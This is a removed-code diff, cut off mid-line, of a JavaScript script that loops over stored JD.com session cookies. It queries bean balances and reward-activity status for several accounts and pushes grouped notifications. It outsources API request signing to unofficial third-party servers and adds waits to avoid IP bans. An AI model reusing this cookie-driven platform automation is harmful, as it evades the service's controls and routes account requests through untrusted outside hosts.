process.env.BEANCHANGE_USERGP4) { - MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; - intPerSent = 0; //分组推送,禁用账户拆分 - console.log(`检测到设定了分组推送4,将禁用分段通知`); -} - -if ($.isNode() && process.env.BEANCHANGE_DISABLECASH) { - DisableCash = process.env.BEANCHANGE_DISABLECASH; -} -if ($.isNode() && process.env.BEANCHANGE_ENABLEMONTH) { - EnableMonth = process.env.BEANCHANGE_ENABLEMONTH; -} - -if (EnableMonth == "true" && Today.getDate() == 1 && Today.getHours() > 17) - llShowMonth = true; - -let userIndex2 = -1; -let userIndex3 = -1; -let userIndex4 = -1; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') - console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async() => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - for (i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - $.index = i + 1; - $.beanCount = 0; - $.incomeBean = 0; - $.expenseBean = 0; - $.todayIncomeBean = 0; - $.todayOutcomeBean = 0; - $.errorMsg = ''; - $.isLogin = true; - $.nickName = ''; - $.levelName = ''; - $.message = ''; - $.balance = 0; - $.expiredBalance = 0; - $.JdzzNum = 0; - $.JdMsScore = 0; - $.JdFarmProdName = ''; - $.JdtreeEnergy = 0; - $.JdtreeTotalEnergy = 0; - $.treeState = 0; - $.JdwaterTotalT = 0; - $.JdwaterD = 0; - $.JDwaterEveryDayT = 0; - $.JDtotalcash = 0; - $.JDEggcnt = 0; - $.Jxmctoken = ''; - $.DdFactoryReceive = ''; - $.jxFactoryInfo = ''; - $.jxFactoryReceive = ''; - $.jdCash = 0; - $.isPlusVip = 0; - $.JingXiang = ""; - - $.allincomeBean = 0; //月收入 - $.allexpenseBean = 0; //月支出 - $.joylevel = 0; - TempBaipiao = ""; - console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********`); - - await TotalBean(); - await TotalBean2(); - if (!$.isLogin) { - await isLoginByX1a0He(); - } - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await getJoyBaseInfo(); - await getJdZZ(); - await getMs(); - await jdfruitRequest('taskInitForFarm', { - "version": 14, - "channel": 1, - "babelChannel": "120" - }); - await getjdfruit(); - await cash(); - await requestAlgo(); - await JxmcGetRequest(); - await bean(); - - if (llShowMonth) { - console.log("开始获取月数据,请稍后..."); - await Monthbean(); - console.log("月数据获取完毕,暂停10秒防止IP被黑..."); - await $.wait(10 * 1000); - } - - await getJxFactory(); //京喜工厂 - await getDdFactoryInfo(); // 京东工厂 - if (DisableCash == "false") { - await jdCash(); - } - - await showMsg(); - if (intPerSent > 0) { - if ((i + 1) % intPerSent == 0) { - console.log("分段通知条件达成,处理发送通知...."); - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - } - if ($.isNode() && allMessageMonth) { - await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - } - allMessage = ""; - allMessageMonth = ""; - } - - } - } - } - //组1通知 - if (ReceiveMessageGp4) { - allMessage2Gp4 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp4; - } - if (WarnMessageGp4) { - if (allMessage2Gp4) { - allMessage2Gp4 = `\n` + allMessage2Gp4; - } - allMessage2Gp4 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp4 + allMessage2Gp4; - } - - //组2通知 - if (ReceiveMessageGp2) { - allMessage2Gp2 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp2; - } - if (WarnMessageGp2) { - if (allMessage2Gp2) { - allMessage2Gp2 = `\n` + allMessage2Gp2; - } - allMessage2Gp2 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp2 + allMessage2Gp2; - } - - //组3通知 - if (ReceiveMessageGp3) { - allMessage2Gp3 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp3; - } - if (WarnMessageGp3) { - if (allMessage2Gp3) { - allMessage2Gp3 = `\n` + allMessage2Gp3; - } - allMessage2Gp3 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp3 + allMessage2Gp3; - } - - //其他通知 - if (allReceiveMessage) { - allMessage2 = `【⏰商品白嫖活动领取提醒⏰】\n` + allReceiveMessage; - } - if (allWarnMessage) { - if (allMessage2) { - allMessage2 = `\n` + allMessage2; - } - allMessage2 = `【⏰商品白嫖活动任务提醒⏰】\n` + allWarnMessage + allMessage2; - } - - if (intPerSent > 0) { - //console.log("分段通知还剩下" + cookiesArr.length % intPerSent + "个账号需要发送..."); - if (allMessage || allMessageMonth) { - console.log("分段通知收尾,处理发送通知...."); - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - } - if ($.isNode() && allMessageMonth) { - await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - } - } - } else { - - if ($.isNode() && allMessageGp2) { - await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessageGp3) { - await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessageGp4) { - await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - - if ($.isNode() && allMessageMonthGp2) { - await notify.sendNotify(`京东月资产变动#2`, `${allMessageMonthGp2}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessageMonthGp3) { - await notify.sendNotify(`京东月资产变动#3`, `${allMessageMonthGp3}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessageMonthGp4) { - await notify.sendNotify(`京东月资产变动#4`, `${allMessageMonthGp4}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessageMonth) { - await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - } - - if ($.isNode() && allMessage2Gp2) { - allMessage2Gp2 += RemainMessage; - await notify.sendNotify("京东白嫖榜#2", `${allMessage2Gp2}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessage2Gp3) { - allMessage2Gp3 += RemainMessage; - await notify.sendNotify("京东白嫖榜#3", `${allMessage2Gp3}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessage2Gp4) { - allMessage2Gp4 += RemainMessage; - await notify.sendNotify("京东白嫖榜#4", `${allMessage2Gp4}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - if ($.isNode() && allMessage2) { - allMessage2 += RemainMessage; - await notify.sendNotify("京东白嫖榜", `${allMessage2}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(10 * 1000); - } - -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}) -.finally(() => { - $.done(); -}) -async function showMsg() { - //if ($.errorMsg) - //return - ReturnMessageTitle=""; - ReturnMessage = ""; - - if (MessageUserGp2) { - userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); - } - if (MessageUserGp3) { - userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); - } - if (MessageUserGp4) { - userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); - } - - if (userIndex2 != -1) { - IndexGp2 += 1; - ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; - } - if (userIndex3 != -1) { - IndexGp3 += 1; - ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; - } - if (userIndex4 != -1) { - IndexGp4 += 1; - ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - IndexAll += 1; - ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; - } - - if ($.levelName || $.JingXiang){ - ReturnMessage += `【账号信息】`; - if ($.levelName) { - if ($.levelName.length > 2) - $.levelName = $.levelName.substring(0, 2); - - if ($.levelName == "注册") - $.levelName = `😊普通`; - - if ($.levelName == "钻石") - $.levelName = `💎钻石`; - - if ($.levelName == "金牌") - $.levelName = `🥇金牌`; - - if ($.levelName == "银牌") - $.levelName = `🥈银牌`; - - if ($.levelName == "铜牌") - $.levelName = `🥉铜牌`; - - if ($.isPlusVip == 1) - ReturnMessage += `${$.levelName}Plus`; - else - ReturnMessage += `${$.levelName}会员`; - } - - if ($.JingXiang){ - if ($.levelName) { - ReturnMessage +=","; - } - ReturnMessage += `${$.JingXiang}`; - } - ReturnMessage +=`\n`; - } - if (llShowMonth) { - ReturnMessageMonth = ReturnMessage; - ReturnMessageMonth += `\n【上月收入】:${$.allincomeBean}京豆 🐶\n`; - ReturnMessageMonth += `【上月支出】:${$.allexpenseBean}京豆 🐶\n`; - - console.log(ReturnMessageMonth); - - if (userIndex2 != -1) { - allMessageMonthGp2 += ReturnMessageMonth + `\n`; - } - if (userIndex3 != -1) { - allMessageMonthGp3 += ReturnMessageMonth + `\n`; - } - if (userIndex4 != -1) { - allMessageMonthGp4 += ReturnMessageMonth + `\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allMessageMonth += ReturnMessageMonth + `\n`; - } - if ($.isNode() && WP_APP_TOKEN_ONE) { - await notify.sendNotifybyWxPucher("京东月资产变动", `${ReturnMessageMonth}`, `${$.UserName}`); - } - - } - - ReturnMessage += `【今日京豆】收${$.todayIncomeBean}豆`; - - if ($.todayOutcomeBean != 0) { - ReturnMessage += `,支${$.todayOutcomeBean}豆`; - } - ReturnMessage += `\n`; - - ReturnMessage += `【昨日京豆】收${$.incomeBean}豆`; - - if ($.expenseBean != 0) { - ReturnMessage += `,支${$.expenseBean}豆`; - } - ReturnMessage += `\n`; - if ($.levelName || $.JingXiang){ - ReturnMessage += `【当前京豆】${$.beanCount}豆(≈${($.beanCount / 100).toFixed(2)}元)\n`; - } else { - ReturnMessage += `【当前京豆】获取失败,接口返回空数据\n`; - } - - if (typeof $.JDEggcnt !== "undefined") { - if ($.JDEggcnt == 0) { - ReturnMessage += `【京喜牧场】未开通或提示火爆.\n`; - } else { - ReturnMessage += `【京喜牧场】${$.JDEggcnt}枚鸡蛋\n`; - } - - } - if (typeof $.JDtotalcash !== "undefined") { - ReturnMessage += `【极速金币】${$.JDtotalcash}币(≈${($.JDtotalcash / 10000).toFixed(2)}元)\n`; - } - if (typeof $.JdzzNum !== "undefined") { - ReturnMessage += `【京东赚赚】${$.JdzzNum}币(≈${($.JdzzNum / 10000).toFixed(2)}元)\n`; - } - if ($.JdMsScore != 0) { - ReturnMessage += `【京东秒杀】${$.JdMsScore}币(≈${($.JdMsScore / 1000).toFixed(2)}元)\n`; - } - - if ($.joylevel || $.jdCash) { - ReturnMessage += `【其他信息】`; - if ($.joylevel) { - ReturnMessage += `汪汪:${$.joylevel}级`; - if ($.jdCash) { - ReturnMessage += ","; - } - } - if ($.jdCash) { - ReturnMessage += `领现金:${$.jdCash}元`; - } - - ReturnMessage += `\n`; - - } - - if ($.JdFarmProdName != "") { - if ($.JdtreeEnergy != 0) { - if ($.treeState === 2 || $.treeState === 3) { - ReturnMessage += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; - TempBaipiao += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; - if (userIndex2 != -1) { - ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; - } - if (userIndex3 != -1) { - ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; - } - if (userIndex4 != -1) { - ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; - } - } else { - if ($.JdwaterD != 'Infinity' && $.JdwaterD != '-Infinity') { - ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%,${$.JdwaterD}天)\n`; - } else { - ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%)\n`; - - } - } - } else { - if ($.treeState === 0) { - TempBaipiao += `【东东农场】水果领取后未重新种植!\n`; - - if (userIndex2 != -1) { - WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; - } - if (userIndex3 != -1) { - WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; - } - if (userIndex4 != -1) { - WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; - } - - } else if ($.treeState === 1) { - ReturnMessage += `【东东农场】${$.JdFarmProdName}种植中...\n`; - } else { - TempBaipiao += `【东东农场】状态异常!\n`; - if (userIndex2 != -1) { - WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; - } - if (userIndex3 != -1) { - WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; - } - if (userIndex4 != -1) { - WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; - } - //ReturnMessage += `【东东农场】${$.JdFarmProdName}状态异常${$.treeState}...\n`; - } - } - } - if ($.jxFactoryInfo) { - ReturnMessage += `【京喜工厂】${$.jxFactoryInfo}\n` - } - if ($.ddFactoryInfo) { - ReturnMessage += `【东东工厂】${$.ddFactoryInfo}\n` - } - if ($.DdFactoryReceive) { - if (userIndex2 != -1) { - ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; - } - if (userIndex3 != -1) { - ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; - } - if (userIndex4 != -1) { - ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; - } - TempBaipiao += `【东东工厂】${$.ddFactoryInfo} 可以兑换了!\n`; - } - if ($.jxFactoryReceive) { - if (userIndex2 != -1) { - ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; - } - if (userIndex3 != -1) { - ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; - } - if (userIndex4 != -1) { - ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; - } - - TempBaipiao += `【京喜工厂】${$.jxFactoryReceive} 可以兑换了!\n`; - - } - const response = await PetRequest('energyCollect'); - const initPetTownRes = await PetRequest('initPetTown'); - if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { - $.petInfo = initPetTownRes.result; - if ($.petInfo.userStatus === 0) { - ReturnMessage += `【东东萌宠】活动未开启!\n`; - } else if ($.petInfo.petStatus === 5) { - ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; - TempBaipiao += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; - if (userIndex2 != -1) { - ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; - } - if (userIndex3 != -1) { - ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; - } - if (userIndex4 != -1) { - ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; - } - } else if ($.petInfo.petStatus === 6) { - TempBaipiao += `【东东萌宠】未选择物品! \n`; - if (userIndex2 != -1) { - WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; - } - if (userIndex3 != -1) { - WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; - } - if (userIndex4 != -1) { - WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; - } - } else if (response.resultCode === '0') { - ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}`; - ReturnMessage += `(${(response.result.medalPercent).toFixed(0)}%,${response.result.medalNum}/${response.result.medalNum+response.result.needCollectMedalNum}块)\n`; - } else if (!$.petInfo.goodsInfo) { - ReturnMessage += `【东东萌宠】暂未选购新的商品!\n`; - TempBaipiao += `【东东萌宠】暂未选购新的商品! \n`; - if (userIndex2 != -1) { - WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; - } - if (userIndex3 != -1) { - WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; - } - if (userIndex4 != -1) { - WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; - } - - } - } - - ReturnMessage += `🧧🧧🧧红包明细🧧🧧🧧\n`; - ReturnMessage += `${$.message}`; - - if (userIndex2 != -1) { - allMessageGp2 += ReturnMessageTitle+ReturnMessage + `\n`; - } - if (userIndex3 != -1) { - allMessageGp3 += ReturnMessageTitle+ReturnMessage + `\n`; - } - if (userIndex4 != -1) { - allMessageGp4 += ReturnMessageTitle+ReturnMessage + `\n`; - } - if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { - allMessage += ReturnMessageTitle+ReturnMessage + `\n`; - } - - console.log(`${ReturnMessageTitle+ReturnMessage}`); - - if ($.isNode() && WP_APP_TOKEN_ONE) { - if (TempBaipiao) { - TempBaipiao = `【⏰商品白嫖活动提醒⏰】\n` + TempBaipiao; - ReturnMessage = TempBaipiao + `\n` + ReturnMessage; - } - ReturnMessage=`【账号名称】${$.nickName || $.UserName}\n`+ReturnMessage; - ReturnMessage += RemainMessage; - - await notify.sendNotifybyWxPucher(`${$.name}`, `${ReturnMessage}`, `${$.UserName}`); - } - - //$.msg($.name, '', ReturnMessage , {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); -} -async function bean() { - // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); - // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) - // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 - - //前一天的0:0:0时间戳 - const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); - // 今天0:0:0时间戳 - const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; - let page = 1, - t = 0, - yesterdayArr = [], - todayArr = []; - do { - let response = await getJingBeanBalanceDetail(page); - await $.wait(2000); - // console.log(`第${page}页: ${JSON.stringify(response)}`); - if (response && response.code === "0") { - page++; - let detailList = response.detailList; - if (detailList && detailList.length > 0) { - for (let item of detailList) { - const date = item.date.replace(/-/g, '/') + "+08:00"; - if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { - todayArr.push(item); - } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { - //昨日的 - yesterdayArr.push(item); - } else if (tm > new Date(date).getTime()) { - //前天的 - t = 1; - break; - } - } - } else { - $.errorMsg = `数据异常`; - $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); - t = 1; - } - } else if (response && response.code === "3") { - console.log(`cookie已过期,或者填写不规范,跳出`) - t = 1; - } else { - console.log(`未知情况:${JSON.stringify(response)}`); - console.log(`未知情况,跳出`) - t = 1; - } - } while (t === 0); - for (let item of yesterdayArr) { - if (Number(item.amount) > 0) { - $.incomeBean += Number(item.amount); - } else if (Number(item.amount) < 0) { - $.expenseBean += Number(item.amount); - } - } - for (let item of todayArr) { - if (Number(item.amount) > 0) { - $.todayIncomeBean += Number(item.amount); - } else if (Number(item.amount) < 0) { - $.todayOutcomeBean += Number(item.amount); - } - } - $.todayOutcomeBean = -$.todayOutcomeBean; - $.expenseBean = -$.expenseBean; - //await queryexpirejingdou();//过期京豆 - //$.todayOutcomeBean=$.todayOutcomeBean+$.expirejingdou; - await redPacket(); //过期红包 - // console.log(`昨日收入:${$.incomeBean}个京豆 🐶`); - // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) -} - -async function Monthbean() { - let time = new Date(); - let year = time.getFullYear(); - let month = parseInt(time.getMonth()); //取上个月 - if (month == 0) { - //一月份,取去年12月,所以月份=12,年份减1 - month = 12; - year -= 1; - } - - //开始时间 时间戳 - let start = new Date(year + "-" + month + "-01 00:00:00").getTime(); - console.log(`计算月京豆起始日期:` + GetDateTime(new Date(year + "-" + month + "-01 00:00:00"))); - - //结束时间 时间戳 - if (month == 12) { - //取去年12月,进1个月,所以月份=1,年份加1 - month = 1; - year += 1; - } - let end = new Date(year + "-" + (month + 1) + "-01 00:00:00").getTime(); - console.log(`计算月京豆结束日期:` + GetDateTime(new Date(year + "-" + (month + 1) + "-01 00:00:00"))); - - let allpage = 1, - allt = 0, - allyesterdayArr = []; - do { - let response = await getJingBeanBalanceDetail(allpage); - await $.wait(1000); - // console.log(`第${allpage}页: ${JSON.stringify(response)}`); - if (response && response.code === "0") { - allpage++; - let detailList = response.detailList; - if (detailList && detailList.length > 0) { - for (let item of detailList) { - const date = item.date.replace(/-/g, '/') + "+08:00"; - if (start <= new Date(date).getTime() && new Date(date).getTime() < end) { - //日期区间内的京豆记录 - allyesterdayArr.push(item); - } else if (start > new Date(date).getTime()) { - //前天的 - allt = 1; - break; - } - } - } else { - $.errorMsg = `数据异常`; - $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); - allt = 1; - } - } else if (response && response.code === "3") { - console.log(`cookie已过期,或者填写不规范,跳出`) - allt = 1; - } else { - console.log(`未知情况:${JSON.stringify(response)}`); - console.log(`未知情况,跳出`) - allt = 1; - } - } while (allt === 0); - - for (let item of allyesterdayArr) { - if (Number(item.amount) > 0) { - $.allincomeBean += Number(item.amount); - } else if (Number(item.amount) < 0) { - $.allexpenseBean += Number(item.amount); - } - } - -} - -async function jdCash() { - let functionId = "cash_homePage" - let body = "%7B%7D" - let uuid = randomString(16) - console.log(`正在获取领现金任务签名...`); - isSignError = false; - let sign = await getSign(functionId, decodeURIComponent(body), uuid) - if (isSignError) { - console.log(`领现金任务签名获取失败,等待10秒后再次尝试...`) - await $.wait(10 * 1000); - isSignError = false; - sign = await getSign(functionId, decodeURIComponent(body), uuid); - } - if (isSignError) { - console.log(`领现金任务签名获取失败,等待10秒后再次尝试...`) - await $.wait(10 * 1000); - isSignError = false; - sign = await getSign(functionId, decodeURIComponent(body), uuid); - } - if (!isSignError) { - console.log(`领现金任务签名获取成功...`) - } else { - console.log(`领现金任务签名获取失败...`) - $.jdCash = 0; - return - } - let url = `${JD_API_HOST}?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` - return new Promise((resolve) => { - $.post(apptaskUrl(url, body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.data.result) { - $.jdCash = data.data.result.totalMoney || 0; - return - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(data); - } - }) - }) -} -function apptaskUrl(url, body) { - return { - url, - body: `body=${body}`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Referer': '', - 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} -function getSign(functionid, body, uuid) { - return new Promise(async resolve => { - let data = { - "functionId": functionid, - "body": body, - "uuid": uuid, - "client": "apple", - "clientVersion": "10.1.0" - } - let HostArr = ['jdsign.cf', 'signer.nz.lu'] - let Host = HostArr[Math.floor((Math.random() * HostArr.length))] - let options = { - url: `https://cdn.nz.lu/ddo`, - body: JSON.stringify(data), - headers: { - Host, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, - timeout: 15000 - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - isSignError = true; - //console.log(`${$.name} getSign API请求失败,请检查网路重试`) - } else {} - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(data); - } - }) - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Cookie: cookie, - "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 